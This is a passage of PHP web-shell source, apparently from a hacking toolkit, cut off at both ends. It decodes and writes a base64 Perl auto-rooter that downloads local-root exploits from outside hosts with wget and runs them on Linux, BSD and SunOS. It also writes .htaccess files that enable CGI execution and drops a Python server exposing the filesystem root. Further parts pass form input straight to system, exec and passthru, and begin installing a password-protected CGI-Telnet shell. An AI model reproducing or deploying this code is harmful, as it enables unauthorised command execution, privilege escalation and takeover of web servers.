bmF6dWthLm5ldC9sb2NhbHJvb3QvZXhwbG9pdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwbG9pdCIpOw0Kc3lzdGVtKCIuL2V4cGxvaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2Z1bGwtbmVsc29uIik7DQpzeXN0ZW0oImNobW9kIDc3NyBmdWxsLW5lbHNvbiIpOw0Kc3lzdGVtKCIuL2Z1bGwtbmVsc29uIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9nYXlyb3MiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGdheXJvcyIpOw0Kc3lzdGVtKCIuL2dheXJvcyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvbGVuaXMuc2giKTsNCnN5c3RlbSgiY2htb2QgNzc3IGxlbmlzLnNoIik7DQpzeXN0ZW0oIi4vbGVuaXMuc2giKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2xvY2FsLTIuNi45LTIwMDUtMjAwNiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7DQpzeXN0ZW0oIi4vbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oImNobW9kIDc3NyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oIi4vbG9jYWwtcm9vdC1leHBsb2l0LWdheXJvcyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcHJpdjQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHByaXY0Iik7DQpzeXN0ZW0oIi4vcHJpdjQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3B3bmtlcm5lbCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcHdua2VybmVsIik7DQpzeXN0ZW0oIi4vcHdua2VybmVsIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9yb290LnB5Iik7DQpzeXN0ZW0oImNobW9kIDc3NyByb290LnB5Iik7DQpzeXN0ZW0oIi4vcm9vdC5weSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcnVueCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcnVueCIpOw0Kc3lzdGVtKCIuL3J1bngiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3Rpdm9saSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgdGl2b2xpIik7DQpzeXN0ZW0oIi4vdGl2b2xpIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC91YnVudHUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHVidW50dSIpOw0Kc3lzdGVtKCIuL3VidW50dSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9hLnBvbWYuc2UvdHhmZmd2LnppcCIpOw0Kc3lzdGVtKCJ1bnppcCB0eGZmZ3YuemlwIik7DQpzeXN0ZW0oImNobW9kICt4IHRyb2xsZWQiKTsNCnN5c3RlbSgiLi90cm9sbGVkIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oImNobW9kICt4IDNfWCIpOw0Kc3lzdGVtKCIuLzNfWCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0KDQoNCnByaW50ICJFbmQgTGludXguLiBbK11cbiI7DQp9DQppZiAoJEFSR1ZbMF0gPX4gImJzZCIgKQ0Kew0KcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcbiI7DQpwcmludCAiIyBMaW51eC9Cc2QvU3Vub3MgQVVUTy1ST09URVIgICNcbiI7DQpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICAgSGF2ZSBhIGNvZmZlICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICBSb290aW5nIEJTRCAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnN5c3RlbSgidW5hbWUgLWE7bWtkaXIgYnNkO2NkIGJzZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2EucG9tZi5zZS9qd2dvYm4uemlwIik7DQpzeXN0ZW0oInVuemlwIGp3Z29ibi56aXAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDQ4bG9jYWwiKTsNCnN5c3RlbSgiLi80OGxvY2FsIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgiY2htb2QgNzc3IGJzZGxvY2FsIik7DQpzeXN0ZW0oIi4vYnNkbG9jYWwiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJjaG1vZCA3NzcgQlNEMy42X2xvY2Fscm9vdCIpOw0Kc3lzdGVtKCIuL0JTRDMuNl9sb2NhbHJvb3QiKTsNCnN5c3RlbSgiaWQiKTsNCg0KDQoNCg0KcHJpbnQgIkVuZCBCc2QuLiBbK11cbiI7DQp9DQppZiAoJEFSR1ZbMF0gPX4gInN1bm9zIiApDQp7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgIFJvb3RpbmcgU3Vub3MgICAgICAgICAgI1xuIjsNCnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0Kc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBzdW5vcztjZCBzdW5vcyIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9hLnBvbWYuc2Uva2twZ3ZzLnppcCIpOw0Kc3lzdGVtKCJ1bnppcCBra3BndnMuemlwIik7DQpzeXN0ZW0oImNobW9kIDc3NyB4X29zaC5wbCAiKTsNCnN5c3RlbSgicGVybCB4X29zaC5wbCAiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC9TdW5PUyUyMDUuOS9zdW5vczU5Iik7DQpzeXN0ZW0oImNobW9kIDc3NyBzdW5vczU5Iik7DQpzeXN0ZW0oIi4vc3Vub3M1OSIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290L1N1bk9TJTIwNS44L2ZpbmFsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBmaW5hbCIpOw0Kc3lzdGVtKCIuL2ZpbmFsIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvU3VuT1MlMjA1Ljcvc29sYXJpczI3Iik7DQpzeXN0ZW0oImNobW9kICt4IHNvbGFyaXMyNyIpOw0Kc3lzdGVtKCIuL3NvbGFyaXMyNyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290L1N1bk9TJTIwNS4xMC9zdW5vczUxMCIpOw0Kc3lzdGVtKCJjaG1vZCAreCBzdW5vczUxMCIpOw0Kc3lzdGVtKCIuL3N1bm9zNTEwIik7DQpzeXN0ZW0oImlkIik7DQoNCg0KcHJpbnQgIkVuZCBTdW5PUyAuLlsrXVxuIjsNCn0=';
2199$chmoderr = fopen("lulZ/autoroot.pl" ,"w+");
2200$write = fwrite ($chmoderr ,base64_decode($shellw0rm));
2201if($write){
2202echo '<p>Script Autoroot is here ===> '.getcwd().'/lulZ/autoroot.pl</p>';
2203fclose($chmoderr);
2204chmod("lulZ/autoroot.pl",0755);
2205
2206
2207//Extracting htaccess to enable perl handler and type all depends on the server :D
2208$htaccess = 'T3B0aW9ucyBJbmNsdWRlcyBJbmNsdWRlc05PRVhFQyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KDQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5wbA0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAucGwNCg0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA==';
2209$lol = fopen("lulZ/.htaccess" ,"w+");
2210$dwrite = fwrite ($lol ,base64_decode($htaccess));
2211fclose($chmoderr);
2212
2213echo '<p>Back Connect and go to this directory ====> cd '.getcwd().'/lulZ/</p>';
2214echo "<p>Autoroot Command : perl autoroot.pl</p>";
2215
2216}
2217}
2218
2219if(isset($_GET['action']) && $_GET['action'] == 'pytcp'){
2220echo '<center><b class="conte">
2221<a href="?action=sym">Symlink Info</a> -
2222<a href="?action=dose">Cms Scanner</a> -
2223<a href="?action=vkill">Perl based Symlink</a> -
2224<a href="?action=file">Symlink Manual</a> -
2225<a href="?action=manu">Manually Retrieve Config</a> -
2226<a href="?action=ensim">Enable Symlink If Disabled</a> -
2227<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
2228<a href="?action=simby">Symlink Bypass 2014</a> </center>
2229</b>';
2230echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Forbidden with Python via TCP Protocol</span><center><br>';
2231echo '<p><font face="Tahoma" align="center" size="2" color="#007700"> Coded By Mauritania Attacker </font></p><br>';
2232echo '
2233<form method=get action="'.$me.'">
2234<p>
2235<textarea class="area" rows="17" name="S1" cols="70" >';
2236$shellw0rm = 'aW1wb3J0IFNpbXBsZUhUVFBTZXJ2ZXINCmltcG9ydCBTb2NrZXRTZXJ2ZXINCmltcG9ydCBvcw0KIA0KcG9ydCA9IDEzMTIzDQogDQppZiBfX25hbWVfXz09J19fbWFpbl9fJzoNCiAgICAgICAgb3MuY2hkaXIoJy8nKQ0KICAgICAgICBIYW5kbGVyID0gU2ltcGxlSFRUUFNlcnZlci5TaW1wbGVIVFRQUmVxdWVzdEhhbmRsZXINCiANCiAgICAgICAgaHR0cGQgPSBTb2NrZXRTZXJ2ZXIuVENQU2VydmVyKCgiIiwgcG9ydCksIEhhbmRsZXIpDQogDQogICAgICAgIHByaW50KCJOb3cgb3BlbiB0aGlzIHNlcnZlciBvbiB3ZWJicm93c2VyIGF0IHBvcnQgOiAiICsgc3RyKHBvcnQpKQ0KICAgICAgICBwcmludCgiZXhhbXBsZTogaHR0cDovL21haG8uY29tOiIgKyBzdHIocG9ydCkpDQogICAgICAgIGh0dHBkLnNlcnZlX2ZvcmV2ZXIoKQ==';
2237$file = fopen("pyProsym.py" ,"w+");
2238$write = fwrite ($file ,base64_decode($shellw0rm));
2239fclose($file);
2240chmod("pyProsym.py",0755);
2241
2242if (strlen($_GET['command'])>1 && $_GET['execmethod']!="popen"){
2243echo $_GET['execmethod']($_GET['command']);}
2244if (strlen($_POST['command'])>1 && $_POST['execmethod']!="popen"){
2245echo $_POST['execmethod']($_POST['command']);}
2246
2247if (strlen($_GET['command'])>1 && $_GET['execmethod']=="popen"){
2248popen($_GET['command'],"r");}
2249
2250echo'</textarea></p><br>
2251<p><center>View Root Like This ===> example: http://site.com:13123</center></p>
2252<p><center>Default port:13123</center></p>
2253<p><center>If you can launch this command from Back Connect it is more better \!/</center></p>
2254<br><p align="center">
2255<strong>Command: python pyProsym.py</strong><input type=hidden name="vw" size="50" value="cmd"> <input type="text" name="command" size="43"> <select name=execmethod>
2256<option value="system">System</option> <option value="exec">Exec</option> <option value="passthru">Passthru</option><option value="popen">popen</option>
2257</select> <input type="submit" value="Execute">
2258</p></form><br><br>';
2259}
2260
2261
2262if(isset($_GET['action']) && $_GET['action'] == 'cgi4e'){
2263mkdir('cgi4e', 0755);
2264chdir('cgi4e');
2265$kokdosya = ".htaccess";
2266$dosya_adi = "$kokdosya";
2267$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
2268$metin = "AddType application/x-httpd-cgi .izo
2269AddType application/x-httpd-cgi .izo
2270
2271AddHandler cgi-script .izo
2272AddHandler cgi-script .izo";
2273fwrite ( $dosya , $metin ) ;
2274fclose ($dosya);
2275$cgi4e = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS40IjsNCiRFZGl0UGVyc2lvbj0iQW5vbkdob3N0IjsNCg0KJFBhc3N3b3JkID0gInZpcnVzYSI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9ZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYNCgkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7CQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNlcCA9ICI7IjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CQkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZA0KCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcw0KCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcw0KCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlDQoJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlDQoJCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQNCgkJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQokY29scz0gMTMwOw0KJHJvd3M9IDI2Ow0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0DQojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuDQojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uDQojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mDQojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJDQojIHNjcmlwdHMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUmVhZFBhcnNlIA0Kew0KCWxvY2FsICgqaW4pID0gQF8gaWYgQF87DQoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsNCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICIiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOw0KCQkJJGlueyRrZXl9IC49ICR2YWw7DQoJCX0NCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIGZ1bmN0aW9uIEVuY29kZURpcjogZW5jb2RlIGJhc2U2NCBQYXRoDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRW5jb2RlRGlyDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KCSRkaXIgPSB0cmltKGVuY29kZV9iYXNlNjQoJGRpcikpOw0KCSRkaXIgPX4gcy8oXHJ8XG4pLy87DQoJcmV0dXJuICRkaXI7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRpZCA9IGBpZGAgaWYoISRXaW5OVCk7DQoJbXkgJGluZm8gPSBgdW5hbWUgLXMgLW4gLXIgLWlgOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5Bbm9uR2hvc3QgQ2dpLVRlbG5ldCBbICRWZXJzaW9uIF08L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQo8L2hlYWQ+DQo8c3R5bGU+DQpib2R5ew0KZm9udDogMTBwdCBWZXJkYW5hOw0KY29sb3I6ICNmZmY7DQp9DQp0cix0ZCx0YWJsZSxpbnB1dCx0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCn0NCiNkb21haW4gdHI6aG92ZXJ7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjNDQ0Ow0KfQ0KdGQgew0KY29sb3I6ICMyQkE4RUM7DQp9DQoubGlzdGRpciB0ZHsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQoubGlzdGRpciB0aHsNCgljb2xvcjogI0ZGOTkwMDsNCn0NCi5kaXIsLmZpbGUNCnsNCgl0ZXh0LWFsaWduOiBsZWZ0ICFpbXBvcnRhbnQ7DQp9DQouZGlyew0KCWZvbnQtc2l6ZTogMTBwdDsgDQoJZm9udC13ZWlnaHQ6IGJvbGQ7DQp9DQp0YWJsZSB7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KaW5wdXQgew0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCmlucHV0LnN1Ym1pdCB7DQp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQpjb2xvcjogI0ZGRkZGRjsNCmJvcmRlci1jb2xvcjogIzAwOTkwMDsNCn0NCmNvZGUgew0KYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogd2hpbGU7DQp9DQpydW4gew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCnRleHRhcmVhIHsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNhYWE7DQp9DQpBOmxpbmsgew0KCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0N